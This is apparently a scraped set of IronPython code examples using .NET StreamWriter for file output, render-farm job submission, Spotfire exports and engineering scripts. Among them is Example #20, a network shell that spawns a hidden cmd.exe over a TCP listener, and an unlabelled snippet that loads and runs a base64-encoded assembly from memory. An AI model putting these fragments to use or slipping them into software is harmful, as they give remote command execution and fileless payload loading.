Example #1
0
def SaveFile(filename, data):
    store = IsolatedStorageFile.GetUserStoreForApplication()
    isolatedStream = IsolatedStorageFileStream(filename, FileMode.Create,
                                               store)

    writer = StreamWriter(isolatedStream)
    writer.Write(data)

    writer.Close()
    isolatedStream.Close()
Example #2
0
	def __enter__(self):
		self.file = StreamWriter( self.temp )
		while self.filereader.Peek() > -1:
			line = self.filereader.ReadLine()
			if line.startswith(('*', '#', 'META')):
				self.file.WriteLine( line )
		self.file.Close()

		self.uidoc.Application.Application.SharedParametersFilename = self.temp
		self.fileDefinition = self.uidoc.Application.Application.OpenSharedParameterFile()
		self.groupDefinition = self.fileDefinition.Groups.Create('temp_group')

		return self
Example #3
0
def table_text_writer(list_input):

    """Writes table input

    args:

    list_input (list of lists): input to be written

    returns: stream
    """
    from System.IO import  StreamWriter, MemoryStream, SeekOrigin


    list_input = controlled_list(list_input)
    LOGGER.debug(list_input)
    LOGGER.debug('--------')
    header = controlled_list(list_input.pop(0))
    length_of_header = len(header)
    head_line = create_line(header)

    # if only a header line
    if not list_input:
        text = ' ' * (length_of_header)

    else:
        text =''

        LOGGER.debug('Loop')
        for i, text_list in enumerate(list_input):

            text_list = controlled_list(text_list)
            LOGGER.debug(text_list)
            if len(text_list) != length_of_header:

                message = ('Line {} in text: [{}] does not have ' +
                           ' same length as header [{}], will be ' +
                           'skipped').format(i, join_list(text_list),
                                             join_list(header))
                ok_message(message)
            else:

                text += create_line(text_list)

    text = head_line + text
    stream = MemoryStream()
    writer = StreamWriter(stream)
    writer.Write(text)
    writer.Flush()
    stream.Seek(0, SeekOrigin.Begin)
    return stream
Example #4
0
def persist_map(map, file):
    """
   Writes the given map of strings-to-values into a file, by converting all of 
   its values into strings.  Any key value pair that contains the ':' 
   character will not be written out.  All other contents that were in the 
   given file will be destroyed.  Returns True on success, False on failure.
   """

    try:
        import log
        with StreamWriter(file, False, Encoding.UTF8) as sw:
            sw.Write(":: This file was generated on "\
               + strftime(r'%Y.%m.%d %X') + "\n\n")
            keys = map.keys()
            keys.sort()
            for key in keys:
                value = sstr(map[key]).strip()
                key = sstr(key).strip()
                if ':' in key or ':' in value:
                    log.debug(
                        "WARNING: can't write map entry containing ':'; ", key,
                        " -> ", value)
                else:
                    sw.Write(key + ' : ' + value + "\n")
        return True
    except:
        log.debug_exc("problem persisting map to file: " + sstr(file))
        return False
Example #5
0
class SharedParametersFileClass():

	def __init__(self, filePath, uidoc):
		self.filePath = filePath
		self.uidoc = uidoc
	
		try:
			self.filereader = StreamReader( filePath )
			self.uidoc.Application.Application.OpenSharedParameterFile()
		except:
			Alert(
				'Check Your Shared Parameters File Path', 
				title="Error", 
				header="Invalid Shared Parameters File",
				exit=True
			)

		self.temp = os.environ['USERPROFILE'] + "\\AppData\\Local\\temp.txt"


	def __enter__(self):
		self.file = StreamWriter( self.temp )
		while self.filereader.Peek() > -1:
			line = self.filereader.ReadLine()
			if line.startswith(('*', '#', 'META')):
				self.file.WriteLine( line )
		self.file.Close()

		self.uidoc.Application.Application.SharedParametersFilename = self.temp
		self.fileDefinition = self.uidoc.Application.Application.OpenSharedParameterFile()
		self.groupDefinition = self.fileDefinition.Groups.Create('temp_group')

		return self


	def __exit__(self, type, value, traceback):
		Delete( self.temp )
		self.uidoc.Application.Application.SharedParametersFilename = self.filePath


	def copyExternalDefinition(self, guid, definition):
		xDefOptions = ExternalDefinitionCreationOptions(definition.Name, definition.ParameterType)
		xDefOptions.Description = ''
		xDefOptions.GUID = guid

		return self.groupDefinition.Definitions.Create( xDefOptions )
Example #6
0
 def save(self, filename):
    """ Implements the module-level save() method by writing the 
        debug log information to the given file. """
    
    # protect access to the logLines with a mutex (for multiple threads)
    self._mutex.WaitOne(-1)
    try:
       if self._loglines == None:
          raise Exception("you must install the __Logger before using it")
       loglines_copy = list(self._loglines)
    finally:
       self._mutex.ReleaseMutex()
       
    try:
       writer = StreamWriter(filename, False, UTF8Encoding())
       for line in loglines_copy:
          writer.Write(line)
    finally:
       if writer: writer.Dispose()
Example #7
0
def accepted():
    """
    Executes whenever the accepted signal fires. Writes out the pipeline tools settings based on the version of pipeline tools, then closes.
    """
    global integration_dialog
    global appName
    global extraKVPIndex
    global settingsWriterObj
    global pipelineToolsVersionNumber

    if integration_dialog.IntegrationProcessingRequested():
        # Check if Integration options are valid.
        if not integration_dialog.CheckIntegrationSanity():
            return

        if pipelineToolsVersionNumber == 2:
            # Write to the pipeline tool settings file and get the status message of which tools are currently enabled.
            settingsWriterObj.WritePipelineToolSettings()
            SetPipelineToolStatus()
        else:
            # Determine a unique integration settings filename .
            randomKey = ''.join(
                random.choice(string.digits) for i in range(10))
            integrationSettingsPath = os.path.join(
                ClientUtils.GetDeadlineTempPath(),
                appName + "IntegrationSettings_" + randomKey + ".txt")

            # Write the integration settings file.
            writer = StreamWriter(integrationSettingsPath, False)
            extraKVPIndex = integration_dialog.WriteIntegrationInfo(
                writer, extraKVPIndex)
            writer.Close()

            # Build output for Integrated Submitter.
            ClientUtils.LogText("integrationSettingsPath=%s" %
                                integrationSettingsPath)
            ClientUtils.LogText("extraKVPIndex=%s" % extraKVPIndex)
            ClientUtils.LogText(
                "batchMode=%s" %
                integration_dialog.IntegrationGroupBatchRequested())

    # Make sure all the project management connections are closed properly.
    integration_dialog.CloseProjectManagementConnections()
Example #8
0
def exportSignalsToFile(dc,	dayToExport, deviceNameToExport, targetFilePath, subroutineName, \
	exportFileSystemSignals = False, exportWifiSignals = False):
	"""
	Exports signal data of activity log to a file.

	Keyword arguments:
	dc -- DataContext that should be used to read activity log (TimeCockpit.Data.DataContext)
	dayToExport -- Day that should be exported (DateTime; time-part has to be 0)
	deviceNameToExport -- Name of the device that should be exported
	targetFilePath -- Full path to the target file (UTF-8, overwrites file if it exists)
	subroutineName -- Name of the generated routine (should be unique for each export)
	exportFileSystemSignals -- Indicates whether file system signals should be exported (bool); default is False
	exportWifiSignals -- Indicates whether WIFI signals should be exported (bool); default is False
	"""
	targetStream = StreamWriter(targetFilePath)
	try:
		exportSignalsToStream(dc, dayToExport, deviceNameToExport, targetStream, subroutineName, \
			exportFileSystemSignals, exportWifiSignals)
	finally:
		targetStream.Close()
Example #9
0
    def save_file_dialog(self, sender, event):
        """open a savefiledialog dialog"""

        self.save_file_dialog = SaveFileDialog()
        self.save_file_dialog.InitialDirectory = "%s/winforms" % uiaqa_path
        self.save_file_dialog.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*"
        self.save_file_dialog.FilterIndex = 2
        self.save_file_dialog.RestoreDirectory = True
        
        # save the label content to a file.
        try:
            if self.save_file_dialog.ShowDialog() == DialogResult.OK:
                filepath = self.save_file_dialog.FileName
                s_buf = StreamWriter(filepath)
                s_buf.Write(self.label.Text)
                s_buf.Flush()
                s_buf.Close()
                self.label.Text = "The path you selected is: " + filepath + '\n'
        except IOError, event:
            print 'An error occurred:', event
Example #10
0
def persist_string(s, file):
    """
   Writes the given stringsinto a file. All other contents that were in the 
   given file will be destroyed.  Returns True on success, False on failure.
   """

    try:
        import log
        with StreamWriter(file, False, Encoding.UTF8) as sw:
            sw.Write(s)
        return True
    except:
        log.debug_exc("problem persisting string to file: " + sstr(file))
        return False
Example #11
0
def SubmitButtonPressed(*args):
    global scriptDialog
    
    # Check if scene file exists.
    sceneFile = scriptDialog.GetValue( "SceneBox" )
    #scriptDialog.ShowMessageBox(sceneFile, "")
    if( not File.Exists( sceneFile ) ):
        scriptDialog.ShowMessageBox( "The sceen {0} does not exist".format(sceneFile), "Error" )
        return
    elif (PathUtils.IsPathLocal(sceneFile)):
        result = scriptDialog.ShowMessageBox( "The scene file {0} is local. Are you sure you want to continue?".format(sceneFile), "Warning", ("Yes","No") )
        if(result=="No"):
            return
    
    # Create job info file.
    jobInfoFilename = Path.Combine( GetDeadlineTempPath(), "pdplayer_job_info.job" )
    #scriptDialog.ShowMessageBox(str(jobInfoFilename), "")
    try:
        writer = StreamWriter( jobInfoFilename, False, Encoding.Unicode ) #<- this is the line messing up
    except Exception, e:
        scriptDialog.ShowMessageBox("error: " + str(e) , "")
Example #12
0
from System.Web.Script.Serialization import JavaScriptSerializer
from System.Net import WebClient

# Create a web client
client = WebClient()


# Download the results of that URL
results = client.DownloadString("http://localhost:8888/spotfireFramework/assetMarketPlace/customLibs/visTimeline/dxp/eventsGroup.csv")

# print these results
print results


stream = MemoryStream()
writer = StreamWriter(stream)
writer.Write(results)
writer.Flush()
stream.Seek(0, SeekOrigin.Begin)

readerSettings = TextDataReaderSettings()
readerSettings.Separator = ","
readerSettings.AddColumnNameRow(0)
readerSettings.SetDataType(0, DataType.String)
readerSettings.SetDataType(1, DataType.String)
readerSettings.SetDataType(2, DataType.DateTime)
readerSettings.SetDataType(3, DataType.DateTime)
readerSettings.SetDataType(4, DataType.String)
readerSettings.SetDataType(5, DataType.String)
readerSettings.SetDataType(6, DataType.String)
Example #13
0
 def SaveList(self, exportlist, week, path, price, publisher):
     if path:
         print "Creating file"
         w = StreamWriter(path, False)
         w.WriteLine("Checklist for week of " + week)
         w.WriteLine()
         w.WriteLine()
         for item in exportlist:
             w.Write("[] ")
             if publisher:
                 w.Write(item["Publisher"] + " ")
             w.Write(item["Title"])
             if price:
                 w.Write(" " + item["Price"])
             w.WriteLine()
         w.Close()
         w.Dispose()
def execute():
    try:
        table = Document.ActiveDataTableReference

        outputFile = StreamWriter(outputFilePath, "w+")
        outputFile.Write(
            "<html><head><title>Spotfire SDBF Uploader</title></head><body><script>setTimeout(function(){window.location.reload(true);}, 5000);</script><div style='font-size:16px;padding:12px;'>\n"
        )
        outputFile.Write("<p>Export Folder is '" + folder + "'</p>\n")
        outputFile.Close()

        print "start infinite loop"
        while True:
            print "START refreshing all tables"
            for table in Document.Data.Tables:
                print "Processing - " + table.Name + ""
                ps.CurrentProgress.ExecuteSubtask("Processing - " +
                                                  table.Name + "")
                uploadOneFile(table)
                print "Processing - " + table.Name + " - DONE"
                ps.CurrentProgress.CheckCancel()
                print "Processing - " + table.Name + " - DONE CheckCancel"
            print "END refreshing all tables"

            ps.CurrentProgress.CheckCancel()
            print "CheckCancel Done, sleeping 10ms"
            time.sleep(10)
            print "waking up"

    except BaseException as e:  # user canceled
        print "Cancelation, excpetion: " + str(e)
        outputFile = StreamWriter(Document.Properties["outputFilePath"], "a")
        outputFile.Write(str(e) + " - Export Stopped")
        outputFile.Write(str(datetime.datetime.now()) + " - Export Stopped")
        outputFile.Write("</div></body></html>")
        outputFile.Close()
        print "end of exec"
        pass
Example #15
0
        print("Parsed file with {} warnings.".format(errorHandler.warnings))

    errorHandler = ErrorHandler()
    tree.Validate(errorHandler)

    if (errorHandler.warnings == 0):
        print("Validated parsed data with no warnings.")
    else:
        print("Validated parsed data with {} warnings.".format(
            errorHandler.warnings))

    input("Press enter to serialise data.")

    tree.elements.Insert(0, comment)
    ms = MemoryStream()
    stream = StreamWriter(ms, UTF8Encoding(True))
    parser.Serialise(tree, stream)
    ms.Position = 0
    sr = StreamReader(ms)
    myStr = sr.ReadToEnd()
    print(myStr)

    # output to the file
    #f = codecs.open("testFileNew.a2l", 'w+', 'utf-8')
    #f.write(myStr)
    #f.close()

    input("Press enter to close...")
else:
    print("Parsing failed!")
Example #16
0
    def gen_springs(self, solver_data, stream):
        # pylint: disable=too-many-statements
        stream.WriteLine(
            "/com,*********** Elastic Foundation - {0} ***********".format(
                self.load.Properties['id'].Value))
        et_x = solver_data.GetNewElementType()
        et_y = solver_data.GetNewElementType()
        et_z = solver_data.GetNewElementType()

        mesh = self.load.Analysis.MeshData

        # Get Node Ids
        node_ids = []
        for geo_id in self.load.Properties['Geometry'].Value.Ids:
            node_ids += mesh.MeshRegionById(geo_id).NodeIds

        node_ids = list(set(node_ids))

        #Gen Coincident nodes
        cnode_ids = [int(solver_data.GetNewNodeId()) for x in node_ids]
        node_count = len(cnode_ids)

        stream.WriteLine('nblock, 3, , {0}'.format(len(cnode_ids)))
        stream.WriteLine('(1i9,3e25.16e3)')
        factor = self.api.Application.InvokeUIThread(lambda: solver_unit(
            self.api, 1.0, mesh.Unit, 'Length', self.load.Analysis))

        for node_id, cnode_id in zip(node_ids, cnode_ids):
            pos = [
                x * factor
                for x in (mesh.NodeById(node_id).X, mesh.NodeById(node_id).Y,
                          mesh.NodeById(node_id).Z)
            ]
            stream.WriteLine('{0:9d}{1:25.16e}{2:25.16e}{3:25.16e}'.format(
                cnode_id, *pos))
        stream.WriteLine('-1')

        # Check to see if using Name Selection
        if self.load.Properties[
                'Geometry/DefineBy'].Value == 'Named Selection':
            comp_mob_name = self.load.Properties['Geometry'].Value.Name
        else:
            comp_mob_name = 'elasfound_targ_{0}'.format(
                self.load.Properties['id'].Value)
            ansys.createNodeComponent(node_ids,
                                      comp_mob_name,
                                      mesh,
                                      stream,
                                      fromGeoIds=False)

        comp_ref_name = 'elasfound_ref_{0}'.format(
            self.load.Properties['id'].Value)
        ansys.createNodeComponent(cnode_ids,
                                  comp_ref_name,
                                  mesh,
                                  stream,
                                  fromGeoIds=False)

        factor = self.api.Application.InvokeUIThread(lambda: to_solve_unit(
            self.api, 1.0, 'Stiffness', self.load.Analysis))

        stream.WriteLine('ET, {0}, COMBIN14, 0, 1, 0'.format(et_x))
        stream.WriteLine('R, {0},{1:25.16e},{2:25.16e}'.format(
            et_x, self.load.Properties['SpringDef/xStiff'].Value / node_count *
            factor, self.load.Properties['SpringDef/Damping/xDamp'].Value
            if self.load.Properties['SpringDef/Damping/xDamp'].Value else 0.0))
        stream.WriteLine()

        stream.WriteLine('ET, {0}, COMBIN14, 0, 2, 0'.format(et_y))
        stream.WriteLine('R, {0},{1:25.16e},{2:25.16e}'.format(
            et_y, self.load.Properties['SpringDef/yStiff'].Value / node_count *
            factor, self.load.Properties['SpringDef/Damping/yDamp'].Value
            if self.load.Properties['SpringDef/Damping/yDamp'].Value else 0.0))
        stream.WriteLine()

        stream.WriteLine('ET, {0}, COMBIN14, 0, 3, 0'.format(et_z))
        stream.WriteLine('R, {0},{1:25.16e},{2:25.16e}'.format(
            et_z, self.load.Properties['SpringDef/zStiff'].Value / node_count *
            factor, self.load.Properties['SpringDef/Damping/zDamp'].Value
            if self.load.Properties['SpringDef/Damping/zDamp'].Value else 0.0))
        stream.WriteLine()

        stream.WriteLine('CMSEL, S, {0}'.format(comp_mob_name))
        stream.WriteLine('CMSEL, A, {0}'.format(comp_ref_name))
        stream.WriteLine('CSYS, {0}'.format(
            self.api.Application.InvokeUIThread(lambda: self.load.Properties[
                'SpringDef/cs'].Value.CoordinateSystemID)))
        stream.WriteLine('NROTAT, ALL')
        stream.WriteLine('ALLSELL, ALL')
        stream.WriteLine()

        stream.WriteLine('EBLOCK,19,SOLID')
        stream.WriteLine('(19i9)')
        line = '{0:9d}' * 4 + '{1:9d}' * 4 + '{2:9d}{3:9d}{4:9d}{5:9d}{6:9d}'
        for e_num in [et_x, et_y, et_z]:
            for node_id, cnode_id in zip(node_ids, cnode_ids):
                stream.WriteLine(
                    line.format(int(e_num), 0, 2, 0,
                                int(solver_data.GetNewElementId()), cnode_id,
                                node_id))
        stream.WriteLine('-1')
        stream.WriteLine('D, {0}, ALL, 0.0'.format(comp_ref_name))

        self.load.Properties['nodeFile'].Value = comp_ref_name + '.dat'
        node_stream = StreamWriter(self.load.Properties['nodeFile'].Value)
        ansys.createNodeComponent(cnode_ids,
                                  comp_ref_name,
                                  mesh,
                                  node_stream,
                                  fromGeoIds=False)
        node_stream.Close()
    if preset != None:

        # check if preset already exists
        path = Path.Combine(BrawlAPI.PluginPath, "MKWii Animations", preset)
        if not Directory.Exists(path):

            # prompt for target material
            target = BrawlAPI.UserStringInput("Target Material", "")
            if target != None:

                textures = []
                export_animations()

                # edit and include import and delete script to preset folder
                import_script = File.ReadAllText(Path.Combine(BrawlAPI.PluginPath, "MKWii Animations", "Import Preset.txt"))
                import_script = import_script.Replace("preset_name = \"\"", "preset_name = \"" + preset + "\"")

                delete_script = File.ReadAllText(Path.Combine(BrawlAPI.PluginPath, "MKWii Animations", "Remove Preset.txt"))
                delete_script = delete_script.Replace("preset_name = \"\"", "preset_name = \"" + preset + "\"")

                with StreamWriter(Path.Combine(path, "Import " + preset + ".py")) as writer:
                    writer.Write(import_script)

                with StreamWriter(Path.Combine(path, "Remove " + preset + ".py")) as writer:
                    writer.Write(delete_script)

                BrawlAPI.RootNode._mainForm.reloadPluginsToolStripMenuItem_Click(None, None)
        else:

            BrawlAPI.ShowMessage("Preset name already in use", "")
from System.Reflection import Assembly
from System.Text import Encoding
from System import Array, Object, String, Convert, Console
from System.IO import StreamWriter, MemoryStream

encoded_assembly = "ASSEMBLY_BASE64"

assembly = Assembly.Load(Convert.FromBase64String(encoded_assembly))
args = Array[Object]([Array[String](["ARGS"])])

# For some reason if we don't set the console output back to stdout after executing the assembly IronPython throws a fit
orig_out = Console.Out
orig_error = Console.Error

with MemoryStream() as ms:
    with StreamWriter(ms) as sw:
        Console.SetOut(sw)
        Console.SetError(sw)
        assembly.EntryPoint.Invoke(None, args)
        sw.Flush()
        buffer = ms.ToArray()
        print Encoding.UTF8.GetString(buffer, 0, buffer.Length)
        Console.SetOut(orig_out)
        Console.SetError(orig_error)
Example #19
0
#imports
from System.IO import StreamWriter, FileMode
from Spotfire.Dxp.Application.Visuals import CrossTablePlot
from Spotfire.Dxp.Data.Export import DataWriterTypeIdentifiers
import tempfile
import os

#create a temporary

tmp = os.path.join(tempfile.gettempdir(), "forecast_input.csv")
stream = StreamWriter(tmp)

#export the cross table
crossTable.As[CrossTablePlot]().ExportText(stream)
stream.Close()

f = open(tmp, 'r')

csv = ""

month_map = {
    "Jan": "01",
    "Feb": "02",
    "Mar": "03",
    "Apr": "04",
    "May": "05",
    "Jun": "06",
    "Jul": "07",
    "Aug": "08",
    "Sep": "09",
    "Oct": "10",
Example #20
0
        wtr.WriteLine(" ")
    else:
        print(outline.Data.Length, outline.Data)
        wtr.WriteLine(outline.Data)


#Connect to listener
server = TcpListener(IP, PORT)
server.Start()

while True:
    client = server.AcceptTcpClient()
    #Create streams for reading/writing
    stream = client.GetStream()
    rdr = StreamReader(stream)
    wtr = StreamWriter(stream)
    wtr.AutoFlush = True
    strInput = StringBuilder()

    #Setup/start process
    p = Process()
    p.StartInfo.FileName = "cmd.exe"
    p.StartInfo.CreateNoWindow = True
    p.StartInfo.UseShellExecute = False
    p.StartInfo.RedirectStandardOutput = True
    p.StartInfo.RedirectStandardInput = True
    p.StartInfo.RedirectStandardError = True
    p.OutputDataReceived += DataReceivedEventHandler(CmdOutputDataHandler)
    p.ErrorDataReceived += DataReceivedEventHandler(CmdOutputDataHandler)
    p.Start()
    wtr.WriteLine("SPID: %s\nCPID: %s" %
Example #21
0
    def _submit_button_pressed( self, *args ):
        """
        Callback for the "submit" button. Submits a job to Deadline
        :param args:
        :return:
        """
        warnings = []
        errors = []

        # If using 'select GPU device Ids' then check device Id syntax is valid.
        if self.GetValue( "GPUsPerTaskBox" ) == 0 and self.GetValue( "GPUsSelectDevicesBox" ) != "":
            # regex = re.compile( "^(\d{1,2}(,\d{1,2})*)?$" ) # Multiple gpu check
            regex = re.compile( "^([0-9]|1[0-6])$" ) # Single gpu check (Altus 1.8 currently only supports 1 gpu)

            valid_syntax = regex.match( self.GetValue( "GPUsSelectDevicesBox" ) )
            if not valid_syntax:
                # errors.append( "'Select GPU Devices' syntax is invalid!\nTrailing 'commas' if present, should be removed.\nValid Examples: 0 or 2 or 0,1,2 or 0,3,4 etc" ) # Multiple gpu check
                errors.append( "'Select GPU Device' syntax is invalid!\nSingle GPU ID 0-16 supported only.\nValid Examples: 0 or 1 or 2 etc" ) # Single gpu check (Altus 1.8 currently only supports 1 gpu per thread)

            # Check if concurrent threads > 1.
            if self.GetValue( "ConcurrentTasksBox" ) > 1:
                errors.append( "If using 'Select GPU Devices', then 'Concurrent Tasks' must be set to 1" )

        stereo_enabled = self.GetValue( "StereoBox" )
        version = float( self.GetValue( "VersionBox" ) )
        full_output_path = self.GetValue( "OutputBox" )
        use_config = self.GetValue( "configCheck" )

        # Check if a valid frame range has been specified.
        frames = self.GetValue( "FramesBox" )
        if not FrameUtils.FrameRangeValid( frames ):
            errors.append( "Frame range: %s is not valid" % frames )

        if not full_output_path:
            errors.append( "The output image name is required." )

        self._check_output_destination( errors, warnings )

        if use_config:
            self._check_config_input( errors, warnings )
        else:
            self._check_file_inputs( errors, warnings )

        # Check if Integration options are valid.
        if not self.integration_dialog.CheckIntegrationSanity( full_output_path ):
            return

        if errors:
            self.ShowMessageBox( "The following errors were encountered:\n\n%s\n\nPlease resolve these issues and submit again.\n" % ( "\n".join( errors ) ), "Errors" )
            return

        if warnings:
            result = self.ShowMessageBox( "Warnings:\n\n%s\n\nDo you still want to continue?" % ( "\n".join( warnings ) ), "Warnings", ( "Yes","No" ) )
            if result == "No":
                return

        # Create job info file.
        job_info_file = os.path.join( ClientUtils.GetDeadlineTempPath(), "altus_job_info.job" )
        writer = StreamWriter( job_info_file, False, Encoding.Unicode )
        writer.WriteLine( "Plugin=Altus" )
        writer.WriteLine( "Name=%s" % self.GetValue( "NameBox" ) )
        writer.WriteLine( "Comment=%s" % self.GetValue( "CommentBox" ) )
        writer.WriteLine( "Department=%s" % self.GetValue( "DepartmentBox" ) )
        writer.WriteLine( "Pool=%s" % self.GetValue( "PoolBox" ) )
        writer.WriteLine( "SecondaryPool=%s" % self.GetValue( "SecondaryPoolBox" ) )
        writer.WriteLine( "Group=%s" % self.GetValue( "GroupBox" ) )
        writer.WriteLine( "Priority=%s" % self.GetValue( "PriorityBox" ) )
        writer.WriteLine( "TaskTimeoutMinutes=%s" % self.GetValue( "TaskTimeoutBox" ) )
        writer.WriteLine( "EnableAutoTimeout=%s" % self.GetValue( "AutoTimeoutBox" ) )
        writer.WriteLine( "ConcurrentTasks=%s" % self.GetValue( "ConcurrentTasksBox" ) )
        writer.WriteLine( "LimitConcurrentTasksToNumberOfCpus=%s" % self.GetValue( "LimitConcurrentTasksBox" ) )

        writer.WriteLine( "MachineLimit=%s" % self.GetValue( "MachineLimitBox" ) )
        if self.GetValue( "IsBlacklistBox" ):
            writer.WriteLine( "Blacklist=%s" % self.GetValue( "MachineListBox" ) )
        else:
            writer.WriteLine( "Whitelist=%s" % self.GetValue( "MachineListBox" ) )

        writer.WriteLine( "LimitGroups=%s" % self.GetValue( "LimitGroupBox" ) )
        writer.WriteLine( "JobDependencies=%s" % self.GetValue( "DependencyBox" ) )
        writer.WriteLine( "OnJobComplete=%s" % self.GetValue( "OnJobCompleteBox" ) )

        full_output_path = full_output_path.replace( "\\", "/" )
        writer.WriteLine( "OutputFilename0=%s" % full_output_path )

        if self.GetValue( "SubmitSuspendedBox" ):
            writer.WriteLine( "InitialStatus=Suspended" )

        writer.WriteLine( "Frames=%s" % frames )
        writer.WriteLine( "ChunkSize=%s" % self.GetValue( "ChunkSizeBox" ) )

        extra_kvp_index = 0
        group_batch = False
        if self.integration_dialog.IntegrationProcessingRequested():
            extra_kvp_index = self.integration_dialog.WriteIntegrationInfo( writer, extra_kvp_index )
            group_batch = group_batch or self.integration_dialog.IntegrationGroupBatchRequested()

        if group_batch:
            writer.WriteLine( "BatchName=%s" % ( self.GetValue( "NameBox" ) ) )

        writer.Close()

        # Create plugin info file.
        plugin_info_file = os.path.join( ClientUtils.GetDeadlineTempPath(), "altus_plugin_info.job" )
        writer = StreamWriter( plugin_info_file, False, Encoding.Unicode )

        exe_type = self.GetValue( "ExecutableTypeBox" )
        writer.WriteLine( "ExecutableType=%s" % exe_type )

        writer.WriteLine( "Version=%s" % version )
        writer.WriteLine( "OutputFile=%s" % full_output_path )

        if exe_type in [ "OpenCl", "GPU", "Auto Select" ]:
            writer.WriteLine( "GPUsPerTask=%s" % self.GetValue( "GPUsPerTaskBox" ) )
            writer.WriteLine( "GPUsSelectDevices=%s" % self.GetValue( "GPUsSelectDevicesBox" ) )

        # If config file defined, then skip all other settings.
        if use_config:
            writer.WriteLine( "Config=%s" % self.GetValue( "ConfigBox" ) )
        else:
            for passType in AltusSubmissionDialog.PASS_TYPES:
                if self._pass_enabled( passType ):
                    writer.WriteLine( "%sFiles=%s;" % ( passType, self.GetValue( "%sBox" % passType ) ) )

            writer.WriteLine( "Renderer=%s" % self.GetValue( "RendererBox" ) )
            writer.WriteLine( "PreserveLayers=%s" % self.GetValue( "LayerPreservationBox" ) )
            writer.WriteLine( "OutputQuality=%s" % self.GetValue( "QualityBox" ) )
            writer.WriteLine( "AOVQuality=%s" % self.GetValue( "AOVQualityBox" ) )
            writer.WriteLine( "FrameRadius=%s" % self.GetValue( "FrameRadiusBox" ) )
            writer.WriteLine( "FilterRadius=%s" % self.GetValue( "FilterRadiusBox" ) )
            writer.WriteLine( "Kc_1=%s" % self.GetValue( "Kc1Box" ) )
            writer.WriteLine( "Kc_2=%s" % self.GetValue( "Kc2Box" ) )
            writer.WriteLine( "Kc_4=%s" % self.GetValue( "Kc4Box" ) )
            writer.WriteLine( "Kf=%s" % self.GetValue( "KfBox" ) )
            writer.WriteLine( "Stereo=%s" % stereo_enabled )
            if version == 1.8:
                # 1.8 is either False (Level 0) or True (Level 3)
                writer.WriteLine( "ForceContinue=%s" % bool( self.GetValue( "ForceContinueIntBox" )[ 0 ] ) )
            else:
                writer.WriteLine( "ForceContinueInt=%s" % self.GetValue( "ForceContinueIntBox" )[ 0 ] ) # Just need first character

            # Tile options
            writer.WriteLine( "Tile=%s" % self.GetValue( "TileBox" ) )
            writer.WriteLine( "TileSize=%s" % self.GetValue( "TileSizeBox" ) )

            writer.WriteLine( "FireFly=%s" % self.GetValue( "FireFlyBox" ) )

            if version >= 1.9:
                writer.WriteLine( "SkipFrameRadius=%s" % self.GetValue( "SkipFrameRadiusBox" ) )
                writer.WriteLine( "IgnoreAlpha=%s" % self.GetValue( "IgnoreAlphaBox" ) )

            if version >= 2.1:
                writer.WriteLine( "SinglePass=%s" % self.GetValue( "SinglePassBox" ) )

            if version >= 2.3:
                writer.WriteLine( "Force16bitOutput=%s" % self.GetValue( "Force16bitOutputBox" ) )
                writer.WriteLine( "EXRCompression=%s" % self.GetValue( "EXRCompressionBox" ) )

        writer.Close()

        # Setup the command line arguments.
        arguments = [ job_info_file, plugin_info_file ]

        # Now submit the job.
        results = ClientUtils.ExecuteCommandAndGetOutput( arguments )
        self.ShowMessageBox( results, "Submission Results" )
def uploadOneFile(dataTable):
    outputFile = StreamWriter(outputFilePath, "a")
    fileName = dataTable.Name
    outputFile.Write("<p>" + str(datetime.datetime.now()) + " - " + fileName +
                     " - start <br/>\n")

    webRequest = HttpWebRequest.Create(rcqBackendURI + fileName)
    response = webRequest.GetResponse()
    streamReader = StreamReader(response.GetResponseStream())
    jsonData = streamReader.ReadToEnd()
    ps.CurrentProgress.CheckCancel()

    outputFile.Write(
        str(datetime.datetime.now()) + " - " + fileName + " " + str(jsonData) +
        "<br/>\n")

    outputFile.Write(
        str(datetime.datetime.now()) + " - " + fileName +
        " - SDBF file re-generated <br/>\n")
    dataTable.Refresh()
    ps.CurrentProgress.CheckCancel()
    outputFile.Write(
        str(datetime.datetime.now()) + " - " + fileName +
        " - Analysis Refreshed <br/>\n")

    try:
        (found,
         item) = lm.TryGetItem(folder + fileName, LibraryItemType.SbdfDataFile,
                               LibraryItemRetrievalOption.IncludeProperties)
        if found:
            table.ExportDataToLibrary(item, fileName)
            outputFile.Write(
                str(datetime.datetime.now()) + " - " + fileName +
                " - exported (ow) <br/>\n")
        else:
            (found2, item2) = lm.TryGetItem(
                folder, LibraryItemType.Folder,
                LibraryItemRetrievalOption.IncludeProperties)
            if found2:
                table.ExportDataToLibrary(item2, fileName)
                outputFile.Write(
                    str(datetime.datetime.now()) + " - " + fileName +
                    " - exported (1st) <br/>\n")
    except Exception as e:
        outputFile.Write(
            str(datetime.datetime.now()) + " - " + "Exception Occured:" +
            str(e) + " <br/>\n")

    outputFile.Write("</p>\n")
    outputFile.Close()
Example #23
0
def SubmitButtonPressed(*args):
    global scriptDialog
    global jobOptionsDialog
    global submittedFromMonitor
    global imageRender
    global outputFile
    global rndFileName

    warnings = []
    errors = []

    # Check if Mistika VR render files exist.
    sceneFiles = StringUtils.FromSemicolonSeparatedString(
        scriptDialog.GetValue("SceneBox"), False)
    if len(sceneFiles) == 0:
        errors.append("No Mistika VR render file specified.")

    submitScene = scriptDialog.GetValue("SubmitSceneBox")

    # Check if Mistika VR render file exists.
    for sceneFile in sceneFiles:
        if not os.path.isfile(sceneFile):
            errors.append("Mistika VR render file: %s does not exist." %
                          sceneFile)
        elif not submitScene and PathUtils.IsPathLocal(sceneFile):
            warnings.append(
                "The Mistika VR render file: " + sceneFile +
                " is local and is not being submitted with the job, are you sure you want to continue?"
            )

    # Check if a valid frame range has been specified.
    frames = scriptDialog.GetValue("FramesBox")
    if not FrameUtils.FrameRangeValid(frames):
        errors.append("Frame range %s is not valid." % frames)

    if len(errors) > 0:
        scriptDialog.ShowMessageBox(
            "The following errors were encountered:\n\n%s\n\nPlease resolve these issues and submit again.\n"
            % ("\n\n".join(errors)), "Errors")
        return

    if len(warnings) > 0:
        result = scriptDialog.ShowMessageBox(
            "Warnings:\n\n%s\n\nDo you still want to continue?" %
            ("\n\n".join(warnings)), "Warnings", ("Yes", "No"))
        if result == "No":
            return

    jobOptions = jobOptionsDialog.GetJobOptionsValues()

    successes = 0
    failures = 0

    # Submit each Mistika VR render file separately.
    for sceneFile in sceneFiles:
        originalJobName = jobOptions["Name"]
        if len(sceneFiles) > 1:
            newJobName = "%s [%s]" % (originalJobName,
                                      os.path.basename(sceneFile))
            jobOptions["Name"] = newJobName

        # Create job info file.
